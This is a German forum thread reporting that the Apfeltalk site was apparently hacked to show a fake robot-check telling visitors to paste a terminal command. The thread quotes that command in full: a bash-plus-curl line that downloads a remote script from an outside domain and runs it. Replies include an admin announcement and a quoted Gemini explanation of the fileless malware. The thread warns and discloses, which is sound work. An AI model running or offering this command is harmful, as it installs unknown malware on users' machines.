Verdächtiger Robot-Check auf AT-Startseite

[maniacintosh]

Als ich eben auf die Apfeltalk-Startseite wollte, begrüsste mich folgendes:


Die Inhalte im Hintergrund waren stark verschwommen. Hier dachte ich mir erstmal noch nichts, da inzwischen - leider - viel Webseiten sich so gegen KI-Crawler schützen wollen. Also Haken gesetzt und dann geht es gleich bestimmt weiter. Stattdessen erhielt ich folgendes:



Naja an dem Punkt fand ich es unheimlich. Etwas in das Terminal kopieren und ausführen, klingt fishy. Habe ich dann nicht gemacht. Folgendes hätte ich dann übrigens in das Terminal eingesestzt (habe ich wie gesagt nicht gemacht):

/bin/bash -c "$(curl -A 'Mac OS X 10_15_7' -fsSL '8pq2qapj.metrodesignconcepts.com/?ublib=935acf0c-98de-40d2-8938-432c49f92853')"; echo ""BotGuard: Answer the protector challenge. Ref: 73282

Was curl da geladen hätte, habe ich nicht mehr weiter recherchiert.

Ich nehme an, dass das nicht so sein soll, darum dachte ich mir, ich melde es mal im Forum. Da bekomme ich diese Abfrage übrigens nicht, wenn ich einen direkten Link nutze.

 

[u0679]

Danke für die Info. Michi ist schon dran.

Thema 'Apfeltalk Magazin wurde (vermutlich) gehackt'

26.07.26

Der Vollständigkeit halber setzen wir euch darüber in Kenntnis, dass das Magazin von Apfeltalk vermutlich gehackt wurde und wir derzeit eine Malware ausliefern. Niclas, unser Administrator und ich sind an der Sache dran und versuchen, den Fehler so schnell wie möglich zu beheben. Wir haben auch schon ein paar Verdächtige gefunden.

Danke für eure bisherigen Meldungen. Von weiteren Meldungen bitten wir abzusehen, weil wir uns der Situation gerade bewusst sind.

• Michael Reimann
• Antworten: 1
• Forum: Apfeltalk Ankündigungen

• 
• 

 

[Ehemaliger]

Gemini sagt:

Wenn dieser Befehl ausgeführt wird, kontaktiert der Rechner unsichtbar einen verdächtigen Server, gibt sich als Mac aus, lädt ein unbekanntes Skript herunter und führt es sofort aus. Dabei wird keine Datei auf der Festplatte gespeichert, die ein klassisches Antivirenprogramm scannen könnte (Fileless Malware). Anschließend wird eine gefälschte Sicherheitsmeldung ausgegeben, um den Nutzer in Sicherheit zu wiegen und die Spuren zu verwischen.

 

[Michael Reimann]

Vorsichtige Entwarnung!